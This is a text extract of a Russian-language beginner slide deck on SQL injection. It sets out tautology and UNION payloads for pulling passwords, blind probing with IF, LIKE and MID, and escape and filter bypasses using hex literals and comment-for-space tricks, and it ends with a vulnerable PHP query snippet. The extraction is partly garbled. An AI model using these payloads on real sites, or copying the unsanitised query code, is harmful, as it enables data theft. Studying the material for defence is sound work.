SQLi for scrubz

Содержание

Слайд 2

Понятие таблиц и работа с ними

Database

Понятие таблиц и работа с ними Database

Слайд 3

Синтаксис

Ключевые слова в запросе

SELECT *column_name* FROM *table_name* WHERE *condition*

Синтаксис Ключевые слова в запросе SELECT *column_name* FROM *table_name* WHERE *condition*

Слайд 4

SELECT * FROM Коты WHERE Хозяин = "Саймон"

SELECT * FROM Коты WHERE Возраст >

SELECT * FROM Коты WHERE Хозяин = "Саймон" SELECT * FROM Коты
1 AND Возраст < 5 

Слайд 5

Таблица: data
Столбцы: id, username, pass
Запрос: SELECT * FROM data WHERE id = '$text' AND id

Таблица: data Столбцы: id, username, pass Запрос: SELECT * FROM data WHERE
!= 1

$text = ' or id = 1 -- 

Простейшая уязвимость

Слайд 6

Таблица: data
Столбцы: id, username, pass
Запрос: SELECT username FROM data WHERE id = '$text' and

Таблица: data Столбцы: id, username, pass Запрос: SELECT username FROM data WHERE
id != 1 ;

$text = 1' UNION SELECT pass FROM data WHERE id = 1 -- 

How to UNION

$text = ' UNION SELECT pass FROM data WHERE id = 1 -- 

Слайд 7

Таблицы: data, private_data
Столбцы: id, username, pass
Запрос: SELECT * FROM data WHERE id =

Таблицы: data, private_data Столбцы: id, username, pass Запрос: SELECT * FROM data
1 and id = '$text' ;

$text = ' UNION SELECT *,1 FROM data WHERE id = 1238 -- 

Слайд 8

Функции

LIKE

SELECT username FROM users WHERE pass LIKE '%qwe%'

SELECT username FROM users WHERE pass LIKE '%qwe_'

IF

IF('pass' =

Функции LIKE SELECT username FROM users WHERE pass LIKE '%qwe%' SELECT username
'pass', 1, 0)

IF((SELECT username FROM users WHERE id = 1) = 'admin', 1, 0)

IF((SELECT username FROM users WHERE id = 1) LIKE 'qwer%', 1, 0)

'%' - неопределённое кол-во символов
'_' - один символ

Слайд 9

MID

MID(*value*, *number of starting symbol*, *hom many symbols*)

MID('value', 3, 2) = 'lu'

MID('value', 1,

MID MID(*value*, *number of starting symbol*, *hom many symbols*) MID('value', 3, 2)
1) = 'v'

CONCAT

CONCAT('lu', 'l') = 'lul'

SELECT id, CONCAT(username,' - ', pass) AS  user_data

CONCAT('str1','str2',…,'strN') = 'str1str2...'

Слайд 10

GROUP BY

SELECT * FROM users GROUP BY 1

SELECT * FROM users GROUP

GROUP BY SELECT * FROM users GROUP BY 1 SELECT * FROM users GROUP BY 2
BY 2

Слайд 11

Экранирование символов

Экранирование символов  — замена в тексте управляющих символов на соответствующие текстовые подстановки

Payload:
$text

Экранирование символов Экранирование символов — замена в тексте управляющих символов на соответствующие
=  ' UNION SELECT * FROM users; -- ​

$text = \'  UNION SELECT * FROM users; --  

\ => \\

$text = \\' UNION SELECT * FROM users; --

Слайд 12

Фильтрация символов

0x74657874 = text

SELECT * FROM users WHERE pass = 'text'

SELECT * FROM users

Фильтрация символов 0x74657874 = text SELECT * FROM users WHERE pass =
WHERE pass = text 

Ошибка при выполнении запроса: «Unknown column 'text' in 'where clause'»

SELECT * FROM users WHERE pass = 0x74657874 

SELECT/**/*/**/FROM/**/users/**/WHERE/**/pass/**/=/**/0x74657874 

/* - начало блока комментариев
*/ - конец блока комментариев

Слайд 13

Определение уязвимости

Обычный и слепой метод

$name = $_POST['name'];
$query = "SELECT phone_number FROM users

Определение уязвимости Обычный и слепой метод $name = $_POST['name']; $query = "SELECT
WHERE name = '$name'";
$result = mysql_query($query);

Real life example

Имя файла: SQLi-for-scrubz.pptx
Количество просмотров: 39
Количество скачиваний: 0